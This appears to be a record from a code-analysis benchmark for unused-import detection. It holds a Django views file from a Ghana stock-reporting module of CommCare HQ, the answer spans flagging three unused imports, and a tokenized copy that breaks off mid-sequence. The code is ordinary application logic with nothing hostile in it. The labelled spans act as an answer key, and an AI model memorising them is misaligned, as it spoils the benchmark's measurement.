"\\u", "color_", "=_", "'", "green", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "scale", " ", "score", " ", "from", " ", "0", " ", "to", " ", "100", " ", "tak", "ing", " ", "out", " ", "preferences_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "scale", "d\\u", "score_", "=_", "score_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "s_", "._", "hear", "ing", "\\u", "imp", "aire", "d_", "==_", "hear", "ing", "\\u", "imp", "aire", "d_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "scale", "d\\u", "score_", "-=_", "v_", "._", "scores_", "[_", "'", "hear", "ing", "\\u", "imp", "aire", "d", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "scale", "d\\u", "score_", "*=_", "100_", "/_", "v_", "._", "scores_", "[_", "'", "hash", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "echo", " ", "some", " ", "nice", " ", "colore", "d", " ", "output_", "\\u\\u\\uNL\\u\\u\\u_", "click_", "._", "echo_", "(_", "'", " ", " ", "-", " ", "[{", "score", "}]", " ", "{", "language", "}", " ", "subtit", "le", " ", "from", " ", "{", "provide", "r", "\\u", "name", "}", " ", "(", "match", " ", "on", " ", "{", "matche", "s", "})'_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "score_", "=_", "click_", "._", "style_", "(_", "'{:", "5.1", "f", "}'_", "._", "format_", "(_", "scale", "d\\u", "score_", ")_", ",_", "fg_", "=_", "score", "\\u", "color_", ",_", "bold_", "=_", "score_", ">=_", "v_", "._", "scores_", "[_", "'", "hash", "'_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "language_", "=_", "s_", "._", "language_", "._", "name_", "if_", "s_", "._", "language_", "._", "country_", "is_", "None_", "else_", "'%", "s", " ", "(%", "s", ")'_", "%_", "(_", "s_", "._", "language_", "._", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "s_", "._", "language_", "._", "country_", "._", "name_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "provide", "r", "\\u", "name_", "=_", "s_", "._", "provide", "r", "\\u", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "matches_", "=_", "',", " ", "'_", "._", "join_", "(_", "sorted_", "(_", "matches_", ",_", "key_", "=_", "v_", "._", "scores_", "._", "get_", ",_", "reverse_", "=_", "True_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "verbose_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "click_", "._", "echo_", "(_", "'", "Downloade", "d", " ", "%", "s", " ", "subtit", "le", "%", "s", "'_", "%_", "(_", "click_", "._", "style_", "(_", "str_", "(_", "total", "\\u", "subtitles_", ")_", ",_", "bold_", "=_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "s", "'_", "if_", "total", "\\u", "subtitles_", ">_", "1_", "else_", "''_", ")_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
dimagi/commcare-hq/custom/ewsghana/views.py
[ { "content": "import json\nfrom django.contrib import messages\nfrom django.core.exceptions import PermissionDenied\nfrom django.forms.formsets import formset_factory\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.http.response import Http404\nfrom django.utils.decorators import method_decorator\nfrom django.utils.translation import ugettext_noop\nfrom django.views.decorators.http import require_POST, require_GET\nfrom django.views.generic.base import RedirectView\nfrom corehq.apps.commtrack.models import StockState\nfrom corehq.apps.commtrack.views import BaseCommTrackManageView\nfrom corehq.apps.consumption.shortcuts import get_default_monthly_consumption, \\\n set_default_consumption_for_supply_point\nfrom corehq.apps.domain.decorators import (\n login_and_domain_required,\n)\nfrom corehq.apps.domain.views import BaseDomainView\nfrom corehq.apps.locations.permissions import locations_access_required, user_can_edit_any_location\nfrom corehq.apps.products.models import Product\nfrom corehq.apps.locations.models import SQLLocation\nfrom corehq.apps.style.decorators import use_bootstrap3\nfrom corehq.apps.users.models import WebUser\nfrom custom.common import ALL_OPTION\nfrom custom.ewsghana.forms import InputStockForm, EWSUserSettings\nfrom custom.ewsghana.handlers.web_submission_handler import WebSubmissionHandler\nfrom custom.ewsghana.models import EWSGhanaConfig, FacilityInCharge, EWSExtension\nfrom custom.ewsghana.reports.specific_reports.dashboard_report import DashboardReport\nfrom custom.ewsghana.reports.specific_reports.stock_status_report import StockoutsProduct, StockStatus\nfrom custom.ewsghana.reports.stock_levels_report import InventoryManagementData\nfrom custom.ewsghana.utils import make_url, has_input_stock_permissions, calculate_last_period, Msg\nfrom custom.ilsgateway.views import GlobalStats\nfrom custom.logistics.views import BaseConfigView\nfrom dimagi.utils.dates import force_to_datetime\nfrom dimagi.utils.web import json_handler, json_response\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class EWSGlobalStats(GlobalStats):\n template_name = \"ewsghana/global_stats.html\"\n show_supply_point_types = True\n root_name = 'Country'", "metadata": "root.EWSGlobalStats", "header": "['module', '___EOS___']", "index": 37 }, { "content": "class InputStockView(BaseDomainView):\n section_name = 'Input stock data'\n section_url = \"\"\n template_name = 'ewsghana/input_stock.html'\n\n\n", "metadata": "root.InputStockView", "header": "['module', '___EOS___']", "index": 43 }, { "content": " @method_decorator(login_and_domain_required)\n @use_bootstrap3\n def dispatch(self, request, *args, **kwargs):\n couch_user = self.request.couch_user\n site_code = kwargs['site_code']\n try:\n sql_location = SQLLocation.objects.get(site_code=site_code, domain=self.domain)\n if not has_input_stock_permissions(couch_user, sql_location, self.domain):\n raise PermissionDenied()\n except SQLLocation.DoesNotExist:\n raise Http404()\n\n return super(InputStockView, self).dispatch(request, *args, **kwargs)", "metadata": "root.InputStockView.dispatch", "header": "['class', 'InputStockView', '(', 'BaseDomainView', ')', ':', '___EOS___']", "index": 48 }, { "content": " def post(self, request, *args, **kwargs):\n InputStockFormSet = formset_factory(InputStockForm)\n formset = InputStockFormSet(request.POST)\n if formset.is_valid():\n try:\n sql_location = SQLLocation.objects.get(site_code=kwargs['site_code'], domain=self.domain)\n except SQLLocation.DoesNotExist:\n raise Http404()\n text = ''\n for form in formset:\n product = Product.get(docid=form.cleaned_data['product_id'])\n if form.cleaned_data['stock_on_hand'] is not None:\n text += '{} {}.{} '.format(\n product.code, form.cleaned_data['stock_on_hand'], form.cleaned_data['receipts'] or 0\n )\n\n amount = form.cleaned_data['default_consumption']\n if amount is not None:\n set_default_consumption_for_supply_point(\n self.domain, product.get_id, sql_location.supply_point_id, amount\n )\n if text:\n WebSubmissionHandler(self.request.couch_user, self.domain, Msg(text), sql_location).handle()\n url = make_url(\n StockStatus,\n self.domain,\n '?location_id=%s&filter_by_program=%s&startdate='\n '&enddate=&report_type=&filter_by_product=%s',\n (sql_location.location_id, ALL_OPTION, ALL_OPTION)\n )\n return HttpResponseRedirect(url)\n context = self.get_context_data(**kwargs)\n context['formset'] = formset\n return self.render_to_response(context)", "metadata": "root.InputStockView.post", "header": "['class', 'InputStockView', '(', 'BaseDomainView', ')', ':', '___EOS___']", "index": 62 }, { "content": " def get_context_data(self, **kwargs):\n context = super(InputStockView, self).get_context_data(**kwargs)\n try:\n sql_location = SQLLocation.objects.get(domain=self.domain, site_code=kwargs.get('site_code'))\n except SQLLocation.DoesNotExist:\n raise Http404()\n InputStockFormSet = formset_factory(InputStockForm, extra=0)\n initial_data = []\n\n for product in sql_location.products.order_by('name'):\n try:\n stock_state = StockState.objects.get(\n case_id=sql_location.supply_point_id,\n product_id=product.product_id\n )\n stock_on_hand = stock_state.stock_on_hand\n monthly_consumption = stock_state.get_monthly_consumption()\n except StockState.DoesNotExist:\n stock_on_hand = 0\n monthly_consumption = 0\n initial_data.append(\n {\n 'product_id': product.product_id,\n 'product': product.name,\n 'stock_on_hand': int(stock_on_hand),\n 'monthly_consumption': round(monthly_consumption) if monthly_consumption else 0,\n 'default_consumption': get_default_monthly_consumption(\n self.domain,\n product.product_id,\n sql_location.location_type.name,\n sql_location.supply_point_id\n ),\n 'units': product.units\n }\n )\n context['formset'] = InputStockFormSet(initial=initial_data)\n return context", "metadata": "root.InputStockView.get_context_data", "header": "['class', 'InputStockView', '(', 'BaseDomainView', ')', ':', '___EOS___']", "index": 97 }, { "content": "class EWSUserExtensionView(BaseCommTrackManageView):\n\n template_name = 'ewsghana/user_extension.html'\n\n\n", "metadata": "root.EWSUserExtensionView", "header": "['module', '___EOS___']", "index": 136 }, { "content": " @property\n def page_context(self):\n page_context = super(EWSUserExtensionView, self).page_context\n user_id = self.kwargs['user_id']\n\n try:\n extension = EWSExtension.objects.get(domain=self.domain, user_id=user_id)\n sms_notifications = extension.sms_notifications\n facility = extension.location_id\n except EWSExtension.DoesNotExist:\n sms_notifications = None\n facility = None\n\n page_context['form'] = EWSUserSettings(user_id=user_id, domain=self.domain, initial={\n 'sms_notifications': sms_notifications, 'facility': facility\n })\n page_context['couch_user'] = self.web_user\n return page_context", "metadata": "root.EWSUserExtensionView.page_context", "header": "['class', 'EWSUserExtensionView', '(', 'BaseCommTrackManageView', ')', ':', '___EOS___']", "index": 140 }, { "content": " @property\n def web_user(self):\n return WebUser.get(docid=self.kwargs['user_id'])", "metadata": "root.EWSUserExtensionView.web_user", "header": "['class', 'EWSUserExtensionView', '(', 'BaseCommTrackManageView', ')', ':', '___EOS___']", "index": 159 }, { "content": " def post(self, request, *args, **kwargs):\n form = EWSUserSettings(request.POST, user_id=kwargs['user_id'], domain=self.domain)\n if form.is_valid():\n form.save(self.web_user, self.domain)\n messages.add_message(request, messages.SUCCESS, 'Settings updated successfully!')\n return self.get(request, *args, **kwargs)", "metadata": "root.EWSUserExtensionView.post", "header": "['class', 'EWSUserExtensionView', '(', 'BaseCommTrackManageView', ')', ':', '___EOS___']", "index": 163 }, { "content": "@require_GET\ndef inventory_management(request, domain):\n\n inventory_management_ds = InventoryManagementData(\n config=dict(\n program=None, products=None, domain=domain,\n startdate=force_to_datetime(request.GET.get('startdate')),\n enddate=force_to_datetime(request.GET.get('enddate')), location_id=request.GET.get('location_id'),\n custom_date=True\n )\n )\n return HttpResponse(\n json.dumps(inventory_management_ds.charts[0].data, default=json_handler),\n content_type='application/json'\n )", "metadata": "root.inventory_management", "header": "['module', '___EOS___']", "index": 171 }, { "content": "@require_GET\ndef stockouts_product(request, domain):\n\n stockout_graph = StockoutsProduct(\n config=dict(\n program=None, products=None, domain=domain,\n startdate=force_to_datetime(request.GET.get('startdate')),\n enddate=force_to_datetime(request.GET.get('enddate')), location_id=request.GET.get('location_id'),\n custom_date=True\n )\n )\n return HttpResponse(\n json.dumps(stockout_graph.charts[0].data, default=json_handler),\n content_type='application/json'\n )", "metadata": "root.stockouts_product", "header": "['module', '___EOS___']", "index": 188 }, { "content": "@require_POST\ndef configure_in_charge(request, domain):\n in_charge_ids = request.POST.getlist('users[]')\n location_id = request.POST.get('location_id')\n location = SQLLocation.objects.get(location_id=location_id)\n for user_id in in_charge_ids:\n FacilityInCharge.objects.get_or_create(user_id=user_id, location=location)\n FacilityInCharge.objects.filter(location=location).exclude(user_id__in=in_charge_ids).delete()\n return HttpResponse('OK')", "metadata": "root.configure_in_charge", "header": "['module', '___EOS___']", "index": 205 }, { "content": "def loc_to_payload(loc):\n return {'id': loc.location_id, 'name': loc.display_name}", "metadata": "root.loc_to_payload", "header": "['module', '___EOS___']", "index": 216 }, { "content": "@locations_access_required\ndef non_administrative_locations_for_select2(request, domain):\n id = request.GET.get('id')\n query = request.GET.get('name', '').lower()\n if id:\n try:\n loc = SQLLocation.objects.get(location_id=id)\n if loc.domain != domain:\n raise SQLLocation.DoesNotExist()\n except SQLLocation.DoesNotExist:\n return json_response(\n {'message': 'no location with id %s found' % id},\n status_code=404,\n )\n else:\n return json_response(loc_to_payload(loc))\n\n locs = []\n user = request.couch_user\n\n user_loc = user.get_sql_location(domain)\n\n if user_can_edit_any_location(user, request.project):\n locs = SQLLocation.objects.filter(domain=domain, location_type__administrative=False)\n elif user_loc:\n locs = user_loc.get_descendants(include_self=True, location_type__administrative=False)\n\n if locs != [] and query:\n locs = locs.filter(name__icontains=query)\n\n return json_response(map(loc_to_payload, locs[:10]))", "metadata": "root.non_administrative_locations_for_select2", "header": "['module', '___EOS___']", "index": 220 }, { "content": "class DashboardPageView(RedirectView):\n", "metadata": "root.DashboardPageView", "header": "['module', '___EOS___']", "index": 253 }, { "content": " def get_redirect_url(self, *args, **kwargs):\n domain = kwargs['domain']\n url = DashboardReport.get_raw_url(domain, request=self.request)\n user = self.request.couch_user\n dm = user.get_domain_membership(domain) if user else None\n if dm:\n if dm.program_id:\n program_id = dm.program_id\n else:\n program_id = 'all'\n\n loc_id = ''\n if dm.location_id:\n location = SQLLocation.objects.get(location_id=dm.location_id)\n if not location.location_type.administrative:\n url = StockStatus.get_raw_url(domain, request=self.request)\n loc_id = location.location_id\n else:\n try:\n extension = EWSExtension.objects.get(domain=domain, user_id=user.get_id)\n loc_id = extension.location_id\n if loc_id:\n url = StockStatus.get_raw_url(domain, request=self.request)\n except EWSExtension.DoesNotExist:\n pass\n start_date, end_date = calculate_last_period()\n url = '%s?location_id=%s&filter_by_program=%s&startdate=%s&enddate=%s' % (\n url,\n loc_id or '',\n program_id if program_id else '',\n start_date.strftime('%Y-%m-%d'),\n end_date.strftime('%Y-%m-%d')\n )\n return url", "metadata": "root.DashboardPageView.get_redirect_url", "header": "['class', 'DashboardPageView', '(', 'RedirectView', ')', ':', '___EOS___']", "index": 255 } ]
[ { "span": "from django.utils.translation import ugettext_noop", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 50 }, { "span": "from custom.ewsghana.models import EWSGhanaConfig, FacilityInCharge, EWSExtension", "start_line": 26, "start_column": 0, "end_line": 26, "end_column": 81 }, { "span": "from custom.logistics.views import BaseConfigView", "start_line": 32, "start_column": 0, "end_line": 32, "end_column": 49 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "import_", "messages_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "core_", "._", "exceptions_", "import_", "Permi", "ssion", "Denied_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "forms_", "._", "formset", "s_", "import_", "formset", "\\u", "factory_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "http_", "import_", "Http", "Response_", ",_", "Http", "Respons", "e", "Redirect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "http_", "._", "response_", "import_", "Http404_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "decorators_", "import_", "method", "\\u", "decorator_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "translation_", "import_", "uge", "ttext", "\\u", "noop_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "views_", "._", "decorators_", "._", "http_", "import_", "require", "\\u", "POST_", ",_", "require", "\\u", "GET_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "views_", "._", "generic_", "._", "base_", "import_", "Redirect", "View_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "core", "hq", "_", "._", "apps_", "._", "comm", "track_", "._", "models_", "import_", "Stock", "State_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "core", "hq", "_", "._", "apps_", "._", "comm", "track_", "._", "views_", "import_", "Base", "Comm", "Track", "Manage", "View_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "core", "hq", "_", "._", "apps_", "._", "consum", "ption_", "._", "shortcuts_", "import_", "get", "\\u", "default", "\\u", "month", "ly", "\\u", "consum", "ption_", ",_", "set\\u", "default", "\\u", "consum", "ption", "\\u", "for", "\\u", "supply", "\\u", "point_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "core", "hq", "_", "._", "apps_", "._", "domain_", "._", "decorators_", "import_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "login", "\\u", "and", "\\u", "domain", "\\u", "required_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "core", "hq", "_", "._", "apps_", "._", "domain_", "._", "views_", "import_", "Base", "Doma", "in", "View_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "core", "hq", "_", "._", "apps_", "._", "locations_", "._", "permissions_", "import_", "location", "s", "\\u", "access", "\\u", "required_", ",_", "user", "\\u", "can", "\\u", "edit", "\\u", "any", "\\u", "location_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "core", "hq", "_", "._", "apps_", "._", "products_", "._", "models_", "import_", "Product_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "core", "hq", "_", "._", "apps_", "._", "locations_", "._", "models_", "import_", "SQL", "Location_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "core", "hq", "_", "._", "apps_", "._", "style_", "._", "decorators_", "import_", "use", "\\u", "boots", "trap", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "core", "hq", "_", "._", "apps_", "._", "users_", "._", "models_", "import_", "Web", "User_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "custom_", "._", "common_", "import_", "ALL", "\\u", "OPTION", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "custom_", "._", "ew", "sg", "han", "a_", "._", "forms_", "import_", "Inp", "ut", "Stock", "Form_", ",_", "EW", "SU", "ser", "Settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "custom_", "._", "ew", "sg", "han", "a_", "._", "handlers_", "._", "web", "\\u", "subm", "ission", "\\u", "handler_", "import_", "Web", "Subm", "ission", "Handler_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "custom_", "._", "ew", "sg", "han", "a_", "._", "models_", "import_", "EW", "SG", "han", "a", "Config_", ",_", "Faci", "lit", "y", "In", "Charge", "_", ",_", "EW", "SE", "xte", "nsion", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "custom_", "._", "ew", "sg", "han", "a_", "._", "reports_", "._", "specific", "\\u", "reports_", "._", "dash", "board", "\\u", "report_", "import_", "Dash", "board", "Report_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "custom_", "._", "ew", "sg", "han", "a_", "._", "reports_", "._", "specific", "\\u", "reports_", "._", "stock", "\\u", "status", "\\u", "report_", "import_", "Stock", "outs", "Product_", ",_", "Stock", "Status_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "custom_", "._", "ew", "sg", "han", "a_", "._", "reports_", "._", "stock", "\\u", "level", "s", "\\u", "report_", "import_", "Inven", "tor", "y", "Manage", "ment", "Data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "custom_", "._", "ew", "sg", "han", "a_", "._", "utils_", "import_", "make", "\\u", "url_", ",_", "has", "\\u", "input", "\\u", "stock", "\\u", "permissions_", ",_", "calcul", "ate", "\\u", "last", "\\u", "period_", ",_", "Msg_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "custom_", "._", "il", "sg", "ate", "way_", "._", "views_", "import_", "Global", "Stats_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "custom_", "._", "logistic", "s_", "._", "views_", "import_", "Base", "Config", "View_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "dim", "agi", "_", "._", "utils_", "._", "dates_", "import_", "force", "\\u", "to", "\\u", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "dim", "agi", "_", "._", "utils_", "._", "web_", "import_", "json", "\\u", "handler_", ",_", "json", "\\u", "response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "EW", "SG", "lob", "al", "Stats_", "(_", "Global", "Stats_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "template", "\\u", "name_", "=_", "\"", "ew", "sg", "han", "a", "/", "global", "\\u", "stats", ".", "html", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "show", "\\u", "supply", "\\u", "point", "\\u", "types_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "\\u", "name_", "=_", "'", "Count", "ry", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Inp", "ut", "Stock", "View_", "(_", "Base", "Doma", "in", "View_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "section", "\\u", "name_", "=_", "'", "Inp", "ut", " ", "stock", " ", "data", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "section", "\\u", "url_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template", "\\u", "name_", "=_", "'", "ew", "sg", "han", "a", "/", "input", "\\u", "stock", ".", "html", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Inp", "ut", "Stock", "View_", "(_", "Base", "Doma", "in", "View_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "method", "\\u", "decorator_", "(_", "login", "\\u", "and", "\\u", "domain", "\\u", "required_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "use", "\\u", "boots", "trap", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "dispatch_", "(_", "self_", ",_", "request_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "couch", "\\u", "user_", "=_", "self_", "._", "request_", "._", "couch", "\\u", "user_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "site", "\\u", "code_", "=_", "kwargs_", "[_", "'", "site", "\\u", "code", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sql", "\\u", "location_", "=_", "SQL", "Location_", "._", "objects_", "._", "get_", "(_", "site", "\\u", "code_", "=_", "site", "\\u", "code_", ",_", "domain_", "=_", "self_", "._", "domain_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "has", "\\u", "input", "\\u", "stock", "\\u", "permissions_", "(_", "couch", "\\u", "user_", ",_", "sql", "\\u", "location_", ",_", "self_", "._", "domain_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Permi", "ssion", "Denied_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "SQL", "Location_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Http404_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "super_", "(_", "Inp", "ut", "Stock", "View_", ",_", "self_", ")_", "._", "dispatch_", "(_", "request_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Inp", "ut", "Stock", "View_", "(_", "Base", "Doma", "in", "View_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "post_", "(_", "self_", ",_", "request_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Inp", "ut", "Stock", "Form", "Set_", "=_", "formset", "\\u", "factory_", "(_", "Inp", "ut", "Stock", "Form_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "formset_", "=_", "Inp", "ut", "Stock", "Form", "Set_", "(_", "request_", "._", "POST_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "formset_", "._", "is", "\\u", "valid_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sql", "\\u", "location_", "=_", "SQL", "Location_", "._", "objects_", "._", "get_", "(_", "site", "\\u", "code_", "=_", "kwargs_", "[_", "'", "site", "\\u", "code", "'_", "]_", ",_", "domain_", "=_", "self_", "._", "domain_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "SQL", "Location_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Http404_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "text_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "form_", "in_", "formset_", ":_", 